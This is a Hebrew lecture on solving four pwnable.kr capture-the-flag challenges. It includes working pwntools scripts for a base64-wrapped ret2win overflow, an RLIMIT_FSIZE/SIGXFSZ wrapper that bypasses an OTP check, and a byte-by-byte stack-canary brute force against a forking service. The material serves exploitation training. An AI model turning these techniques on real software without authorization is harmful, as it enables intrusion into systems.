לדלג לתוכן

8.6 אתגרי לוגיקה הרצאה

בפרק הזה למדנו reverse engineering במטרה לנצל: פירקנו בינארים, קראנו אסמבלי, וזיהינו את הזרימה הפנימית של תוכניות. בהרצאה הזו ניקח את הכלים האלה ונפגוש ארבעה אתגרים שהם לא "טהורים" - לא גלישת מחסנית קלאסית ולא באג לוגי טהור, אלא תערובת. בכל אחד מהם צריך קודם להבין את הלוגיקה של התוכנית מתוך הבינארי, ואז לרוב מספיקה overflow קטנטנה או תובנה אחת חכמה כדי לשבור אותה. זו בדיוק העבודה האמיתית של חוקר חולשות: לא כל דבר הוא ROP מפואר, לפעמים המתכנת פשוט השאיר דלת פתוחה ואנחנו צריכים לראות אותה.

ארבעת האתגרים לקוחים מ-pwnable.kr והם simple login, otp, md5 calculator ו-blukat. כל אחד מהם ממחיש דפוס אחר: overflow קטנה שמנתבת הרצה, אימות שתלוי בקובץ חיצוני, overflow שמאחורי פיצ'ר תמים עם canary להתמודד איתו, ומפתח שנחשף בגלוי. נלמד כל דפוס על בינארי דמו מקומי שנוכל להריץ, ואז נמפה אותו בחזרה לאתגר האמיתי. שימו לב: כמה מהאתגרים משתנים בפרטים הפנימיים בין גרסאות, ולכן העיקרון חשוב יותר מהמספר המדויק. תמיד קראו את המקור על השרת עצמו ואמתו את ההיסטים בעצמכם.

ארבע זוויות, דפוס אחד - חשיבה של חוקר

לפני שנצלול, בואו נסדר את התמונה. כל אתגר כאן שואל אותנו שאלה אחת: איפה המתכנת סמך על משהו שאסור היה לו לסמוך עליו.

+-------------------+------------------------------+-----------------------------+
| challenge         | what the programmer relied on | our technique                |
+-------------------+------------------------------+-----------------------------+
| simple login      | that the decoded input isn't too long | small overflow -> redirect execution |
| otp               | that the file is always written and read successfully | fail the file write |
| md5 calculator    | that base64 won't overflow the buffer | overflow + handling the canary |
| blukat            | that nobody will read the file/key | direct read or XOR derivation |
+-------------------+------------------------------+-----------------------------+

הגישה הכללית זהה בכולם: מפרקים את הבינארי (objdump -d, gdb/pwndbg, קוראים את קוד המקור אם הוא זמין), מזהים את ההנחה השגויה, ורק אז בונים קלט. עכשיו נעבור אחד-אחד.

הoverflow קטנה שמנתבת הרצה - simple login

האתגר simple login הוא בינארי 32 ביט שמבקש ממנו מחרוזת, מפענח אותה מ-base64, ומעתיק את הבתים המפוענחים לתוך buffer קטן על המחסנית בעזרת memcpy. הצורה הכללית נראית כך:

// general shape of simple login (32-bit)
void auth(unsigned char* dec, int len) {
    char buf[16];            // small buffer on the stack
    memcpy(buf, dec, len);   // len is controlled by us -> overflow
    // ... some match check ...
}

void correct() {            // the "winning" function - not called in the normal flow
    puts("Login OK");
    system("/bin/cat flag");
    exit(0);
}

int main() {
    char line[512];
    unsigned char dec[512];
    printf("Authenticate : ");
    scanf("%500s", line);
    int len = base64_decode(line, dec);   // decoded length under our control
    auth(dec, len);
    puts("Wrong Password");
}

שתי הנקודות החשובות: ראשית, len - האורך המפוענח - נקבע על ידי הקלט שלנו. מחרוזת base64 של 4 תווים מפענחת ל-3 בתים, אז ככל שנשלח יותר תווים, יותר בתים ייכתבו ב-memcpy. שנית, memcpy מעתיק בתים גולמיים ולא עוצר על בית null, אז אנחנו יכולים לכתוב כתובות עם אפסים בפנים. שילוב שני הדברים נותן לנו overflow נקייה מעל buf, בדיוק כמו שראינו בפרק 2.

איך זה נראה על המחסנית של auth ב-32 ביט:

low addresses (top of stack)
+----------------------------+
| char buf[16]               |  <-- memcpy target
+----------------------------+
| saved ebp (4 bytes)        |  <-- overwritten
+----------------------------+
| return address              |  <-- we'll write correct's address here
+----------------------------+
high addresses

המטרה: לגרום ל-auth לחזור אל correct במקום להמשיך את הזרימה הרגילה שמדפיסה "Wrong Password". מכיוון שהבינארי הוא 32 ביט ולא PIE, הכתובת של correct קבועה בכל הרצה - בדיוק כמו ב-ret2win מפרק 2. אין כאן שום דבר חדש חוץ מהעובדה שהקלט עובר קודם דרך base64.

הבינארי לדוגמה והexploit

הנה דמו מקומי שמשחזר את הדפוס. נקמפל אותו 32 ביט, בלי canary ובלי PIE, כדי לבודד את הטכניקה:

// slogin.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// minimal base64 decoder, returns the output length
int b64dec(const char* in, unsigned char* out);

void correct() {
    puts("Login OK. flag:");
    system("/bin/cat flag");
    exit(0);
}

void auth(unsigned char* dec, int len) {
    char buf[16];
    memcpy(buf, dec, len);        // overflow: len is under our control
    printf("checking %s\n", buf);
}

int main() {
    char line[512];
    unsigned char dec[512];
    setvbuf(stdout, 0, _IONBF, 0);
    printf("Authenticate : ");
    scanf("%500s", line);
    int len = b64dec(line, dec);
    auth(dec, len);
    puts("Wrong Password");
    return 0;
}

מקמפלים ובודקים הגנות:

gcc -m32 -fno-stack-protector -no-pie -o slogin slogin.c
checksec --file=./slogin
# RELRO: Partial | STACK CANARY: No canary | NX: enabled | PIE: No PIE

הנחות ההגנה: NX פעיל (לא נריץ shellcode, רק ננתב הרצה), אין canary (הoverflow לא נתפסת), אין PIE (הכתובת של correct קבועה). את ה-offset עד return address מוצאים כמו תמיד עם cyclic, או פשוט מחשבים: 16 בתים ל-buf ועוד 4 בתים ל-saved ebp נותנים 20. הכתובת של correct מתקבלת מ-elf.symbols['correct']. עכשיו הexploit, ושימו לב לצעד הקריטי - אנחנו מקודדים את הpayload חזרה ל-base64 לפני שאנחנו שולחים, כי התוכנית מפענחת:

from pwn import *
import base64

context.binary = elf = ELF('./slogin')
correct = elf.symbols['correct']

offset  = 20                                  # verify with cyclic
payload = b'A' * offset + p32(correct)        # overwrite the return address
blob    = base64.b64encode(payload)           # the program decodes, so we encode

p = process('./slogin')
p.recvuntil(b'Authenticate : ')
p.sendline(blob)
p.interactive()

מיפוי לאתגר האמיתי: הרעיון זהה בול. מתחברים ל-ssh simple_login@pwnable.kr -p2222, קוראים את המקור, מוצאים את הכתובת של פונקציית ההצלחה (עם nm, objdump -d או elf.symbols), מודדים את ה-offset המדויק עד return address של auth, ובונים base64(b'A'*offset + p32(correct_addr)). הפרט היחיד שמשתנה בין גרסאות הוא ה-offset והכתובת - העיקרון נשאר.

אימות שתלוי בקובץ חיצוני - otp

האתגר otp הוא דוגמה יפה לאיך אימות "חזק" קורס בגלל הנחה על מערכת הקבצים. הנה המקור, שכדאי להכיר:

// otp.c (the shape of the challenge)
int main(int argc, char* argv[]) {
    char fname[128];
    unsigned long otp[2];

    if (argc != 2) { printf("usage : %s [passcode]\n", argv[0]); return 0; }

    int fd = open("/dev/urandom", O_RDONLY);
    if (read(fd, otp, 16) != 16) exit(-1);      // 16 random bytes
    close(fd);

    sprintf(fname, "/tmp/%d", otp[0]);          // filename from otp[0]
    FILE* fp = fopen(fname, "w");
    fwrite(otp, 8, 1, fp);                       // writes otp[0] to the file
    fclose(fp);

    printf("OTP generated.\n");

    unsigned long passcode = 0;                  // initialize to 0
    FILE* fp2 = fopen(fname, "r");
    fread(&passcode, 8, 1, fp2);                 // reads it back
    fclose(fp2);

    if (strtoul(argv[1], 0, 16) == passcode) {   // compares to our argument
        printf("Congratz!\n");
        system("/bin/cat flag");
    } else {
        printf("OTP mismatch\n");
    }
    unlink(fname);
    return 0;
}

בואו נבין את הזרימה. התוכנית קוראת 16 בתים אקראיים, שומרת את 8 הבתים הראשונים (otp[0]) לקובץ ב-/tmp, קוראת אותם בחזרה למשתנה passcode, ומשווה ל-argv[1] שאנחנו נותנים כמספר הקסדצימלי. מאחר שהמספר אקראי לגמרי, לנחש אותו בלתי אפשרי. אז לא ננחש - נתקוף את החוליה החלשה: הקובץ.

התובנה: המשתנה passcode מאותחל ל-0. הוא מקבל ערך אחר רק אם ה-fread הצליח לקרוא 8 בתים. ואם נגרום לכתיבת הקובץ להיכשל, הקובץ יישאר ריק, ה-fread יחזיר 0 בתים, passcode יישאר 0, ואז מספיק להעביר argv[1] = "0".

הכשלת הכתיבה עם RLIMIT_FSIZE

הדרך הנקייה להכשיל כתיבה לקובץ בלי לגעת בתוכנית היא מגבלת המשאב RLIMIT_FSIZE - הגודל המרבי של קובץ שתהליך רשאי לכתוב. אם נקבע אותה ל-0, כל ניסיון לכתוב בית לקובץ יחרוג מהמגבלה.

רגע, יש כאן דקות שחשוב להבין: כשתהליך חורג מ-RLIMIT_FSIZE, הkernel שולח לו את האות SIGXFSZ. פעולת ברירת המחדל של האות הזה היא להרוג את התהליך. אם פשוט נריץ ulimit -f 0; ./otp 0, ה-fwrite/fclose יפעיל את האות, והתהליך ימות לפני שנגיע להשוואה. לא עזר לנו.

הנה הטריק: אם נגדיר את SIGXFSZ להתעלמות (SIG_IGN) לפני ה-exec, קריאת ה-write פשוט תיכשל ותחזיר שגיאה (EFBIG) במקום להרוג את התהליך. ושתי התכונות האלה - גם מגבלת המשאב וגם התעלמות מ-SIG_IGN - עוברות בירושה דרך execve. אז אנחנו יכולים לעטוף את התוכנית בסקריפט קטן שמסדר את שתי ההגדרות ואז מריץ אותה:

our wrapper process                       the otp process (inherits everything)
  setrlimit(RLIMIT_FSIZE, 0)  ----+
  signal(SIGXFSZ, SIG_IGN)    ----+---> execve -> fwrite fails silently
                                        the file stays empty -> passcode = 0

בפייתון זה קצר במיוחד:

import os, resource, signal

signal.signal(signal.SIGXFSZ, signal.SIG_IGN)      # don't die on the violation, just fail
resource.setrlimit(resource.RLIMIT_FSIZE, (0, 0))  # not allowed to write a single byte
os.execv('./otp', ['./otp', '0'])                  # passcode stays 0 -> we win

נדגים על דמו מקומי שמשחזר בדיוק את ההתנהגות (הקוד המלא של הדמו והריצה נמצאים בפתרון). כשמריצים אותו דרך העטיפה הזו, הקובץ ב-/tmp נכתב באפס בתים, ה-fread מחזיר 0, וההשוואה strtoul("0",...) == 0 מצליחה. מיפוי לאתגר האמיתי: אותה עטיפה בדיוק, רק שמפעילים /home/otp/otp במקום הדמו.

הערה על תופעת לוואי: שימו לב ש-sprintf(fname, "/tmp/%d", otp[0]) משתמש ב-%d על ערך של 8 בתים, כלומר קורא רק את 32 הביטים התחתונים ומפרש אותם כמסומן. זו "ריח" של באג בפני עצמו (חוסר התאמה בין %d ל-unsigned long), אבל בפתרון שלנו הוא לא רלוונטי - אנחנו לא צריכים לדעת את שם הקובץ בכלל, רק לדאוג שהוא יישאר ריק.

הoverflow מאחורי פיצ'ר תמים, עם canary - md5 calculator

האתגר md5 calculator נראה בהתחלה שקט לגמרי: זה שירות תפריטי שמחשב md5 של מחרוזת. אבל מאחורי פיצ'ר החישוב מסתתרת גלישת מחסנית קלאסית. הצורה הכללית:

// the shape of the hashing feature in md5 calculator
void process_hash() {
    unsigned char decoded[64];      // small fixed buffer
    char captcha[1024];
    unsigned char digest[16];

    printf("Give me a string to hash : ");
    read(0, captcha, sizeof(captcha));
    int len = Base64Decode(captcha, decoded);   // decodes into decoded[64]

    MD5(decoded, len, digest);                   // computes md5 of the decoded data
    // ... prints the digest ...
}

הבעיה: הקלט מפוענח מ-base64 לתוך decoded[64], אבל אין בדיקה שהאורך המפוענח קטן מ-64. מחרוזת base64 ארוכה מספיק תפענח ליותר מ-64 בתים ותגלוש מעל decoded על המחסנית. זו אותה overflow כמו ב-simple login, רק שהפעם יש הגנה נוספת שצריך להתמודד איתה: canary.

checksec --file=./md5calc
# RELRO: Partial | STACK CANARY: Canary found | NX: enabled | PIE: No PIE

המחסנית של process_hash עם canary נראית כך:

low addresses
+----------------------------+
| unsigned char decoded[64]  |  <-- decode target, this is where the overflow starts
+----------------------------+
| ... more variables ...      |
+----------------------------+
| stack canary                |  <-- must preserve this value
+----------------------------+
| saved rbp                  |
+----------------------------+
| return address               |  <-- our target
+----------------------------+
high addresses

הcanary הוא ערך אקראי שהקומפיילר שם בין הbuffer לreturn address, ונבדק לפני ret. אם הoverflow שלנו דורסת אותו בערך שגוי, __stack_chk_fail יעצור את התוכנית. לכן, כדי לדרוס את return address, אנחנו חייבים לכתוב בדיוק את הcanary הנכון במקומו. איך משיגים את ערך הcanary? יש שתי דרכים עיקריות, ובוחרים לפי מבנה השירות.

דרך א - דליפת הcanary

אם באותה הרצה יש פרימיטיב שמדליף זיכרון (למשל פונקציית הדפסה שלא שמה null בסוף, או פיצ'ר שמחזיר לנו בתים מהמחסנית), נקרא ממנו את ערך הcanary, ואז נבנה payload שכולל את הcanary במקומו הנכון. זו הדרך הכי אמינה כשהיא זמינה. הרעיון:

1. Send input that fills up to right before the canary (without overwriting it)
2. Make the program print the buffer -> the bytes after it include the canary
3. Read the canary from the output
4. Build the payload: padding + canary + saved rbp + target address

דרך ב - ניחוש הcanary בשירות מזלג

אם השירות הוא שרת שעושה fork לכל חיבור, יש טריק יפה: הבן שנוצר ב-fork יורש את אותו canary של האב (הcanary נקבע פעם אחת בעליית התהליך ונשמר ב-TLS). לכן אפשר לנחש את הcanary בית-בית: מנסים ערך לבית הראשון, אם החיבור לא קרס - הבית נכון; עוברים לבית הבא. כך שוברים canary של 8 בתים ב-256*8 ניסיונות במקום 2^64. הנה השלד:

from pwn import *

# known: the 64-bit canary starts with a null byte, so we start from there
canary = b'\x00'
while len(canary) < 8:
    for guess in range(256):
        p = remote('127.0.0.1', 9999)         # new connection = same canary
        p.recvuntil(b': ')
        trial = b'A' * OFFSET + canary + bytes([guess])
        p.send(base64.b64encode(trial))
        resp = p.recvall(timeout=1)
        p.close()
        if b'stack smashing' not in resp:     # didn't crash -> the byte is correct
            canary += bytes([guess])
            break
log.success('canary = ' + canary.hex())

אחרי שיש לנו את הcanary, הoverflow הופכת לרגילה: padding + canary + saved rbp + כתובת correct/give_shell. את הexploit המלא, כולל בינארי דמו מלא ורץ, נראה בפתרון (תרגיל 3). הרעיון שצריך לקחת: canary הוא לא קיר, הוא מהמורה. אם יש leak - קוראים אותו; אם יש fork - מנחשים אותו; ואז ממשיכים בדיוק כמו overflow בלי canary.

מפתח שנחשף בגלוי - blukat

האתגר blukat הוא תזכורת נהדרת שלפעמים אין צורך בשום overflow. הצורה הכללית:

// the shape of blukat
char password[100];

void print_flag() {
    // prints the flag, usually after XOR decoding with a fixed key
}

int main() {
    FILE* fp = fopen("/home/blukat/password", "r");
    if (fp == NULL) { printf("read error\n"); return 0; }
    fgets(password, 100, fp);              // reads the password from a file

    char buf[100];
    printf("guess the password!\n");
    fgets(buf, 128, stdin);               // our input

    if (strcmp(password, buf) == 0) {
        printf("Congratulation!\n");
        print_flag();
    } else {
        printf("Wrong Password!\n");
    }
    return 0;
}

התוכנית קוראת סיסמה מקובץ ומשווה אותה לקלט שלנו. איפה החולשה? בהרשאות. קובץ הסיסמה על השרת קריא לקבוצה או לכולם, ולכן אנחנו יכולים פשוט לקרוא אותו:

cat /home/blukat/password

ואז להזין את הערך שקראנו. שימו לב לדקות שמפילה הרבה אנשים: fgets שומר גם את בית ה-newline בסוף. אם קראתם את הסיסמה מקובץ שמסתיים ב-newline, ההשוואה strcmp דורשת שגם הקלט שלכם יסתיים באותה צורה בדיוק. תמצאו את הבתים המדויקים עם xxd, ותשלחו בדיוק אותם.

הזווית העמוקה יותר - גזירת XOR

מה עושים אם הקובץ בכל זאת לא קריא לנו? כאן נכנס החלק המעניין. הרבה מהאתגרים האלה מפענחים את הדגל בזמן ריצה על ידי XOR עם מפתח קבוע שמוטמע בבינארי. ו-XOR הוא פעולה הפיכה: אם יש לנו את הטקסט המוצפן ואת המפתח, נשחזר את המקור בלי להריץ שום דבר ובלי לעבור שום בדיקה.

encrypted_flag  XOR  key  =  original_flag

את המפתח מוצאים ישירות בבינארי עם strings (אם אין בו בתי null) או, אמין יותר, עם objdump -s -j .data ./blukat שמראה את הבתים הגולמיים של המקטע. את הטקסט המוצפן מוצאים באותו אופן. ואז XOR פשוט בפייתון מחזיר את התשובה. כלומר, גם בלי לקרוא את קובץ הסיסמה וגם בלי לעבור את ה-strcmp, המידע כבר נמצא בידינו - הוא פשוט מקודד. את ההדגמה המלאה של גזירת ה-XOR מבינארי דמו נראה בפתרון.

הלקח של blukat: לפני שבונים exploit מתוחכם, שאלו את השאלה הפשוטה - האם המידע שאני צריך בכלל מוגן? לעיתים קרובות התשובה היא שלא. קובץ קריא, מפתח מוטמע, או ערך מקודד ב-XOR הם "חולשות" בדיוק כמו גלישת מחסנית, ולרוב קלות בהרבה לexploit.

הנחות ההגנה - סיכום מהיר

חשוב לומר במפורש מה מצב ההגנות בכל אחד, כי זה משנה את הגישה:

+-------------------+---------+--------+------+--------+
| challenge         | canary  | NX     | PIE  | relevant|
+-------------------+---------+--------+------+--------+
| simple login      | none    | active | none | offset and correct's address |
| otp               | doesn't matter | doesn't matter | doesn't matter | logic bug, not memory |
| md5 calculator    | yes     | active | none | must handle the canary |
| blukat            | doesn't matter | doesn't matter | doesn't matter | permissions and XOR, not memory |
+-------------------+---------+--------+------+--------+

שימו לב שבשניים מהארבעה (otp ו-blukat) מנגנוני ההגנה של הזיכרון פשוט לא רלוונטיים - אלה באגים לוגיים ובעיות הרשאה. בשניים האחרים (simple login ו-md5 calculator) יש overflow אמיתית, וההגנות קובעות כמה עבודה נדרשת: בלי canary זו overflow פשוטה, עם canary צריך קודם להשיג את ערכו. תמיד תריצו checksec ראשון - זה קובע את כל האסטרטגיה.

סיכום

  • אתגרי לוגיקה מערבבים reverse engineering עם exploit קטן. קודם מבינים את הלוגיקה מהבינארי, ואז לרוב מספיקה overflow קטנה או תובנה אחת.
  • האתגר simple login: קלט מפוענח מ-base64 מועתק ב-memcpy לbuffer קטן. שולטים באורך המפוענח, דורסים את return address של auth, ומנתבים ל-correct - ממש ret2win דרך base64. זכרו לקודד את הpayload חזרה ל-base64.
  • האתגר otp: האימות תלוי בקובץ ב-/tmp. אם מכשילים את הכתיבה עם RLIMIT_FSIZE=0 תוך התעלמות מ-SIGXFSZ (שתיהן עוברות בירושה ל-exec), passcode נשאר 0 ומעבירים argv[1]="0".
  • האתגר md5 calculator: פענוח base64 לתוך buffer קבוע קטן גולש על המחסנית, עם canary. משיגים את הcanary בleak (אם יש) או בניחוש בית-בית בשירות fork, ואז ממשיכים כמו overflow רגילה.
  • האתגר blukat: המידע לא באמת מוגן. קוראים את קובץ הסיסמה הקריא (שימו לב ל-newline), או גוזרים את הדגל ב-XOR של הטקסט המוצפן עם מפתח שמוטמע בבינארי (objdump -s).
  • לפני הכל: checksec לקביעת האסטרטגיה, וקריאת המקור על השרת לאימות ההיסטים והכתובות המדויקים. העיקרון קבוע, המספרים משתנים בין גרסאות.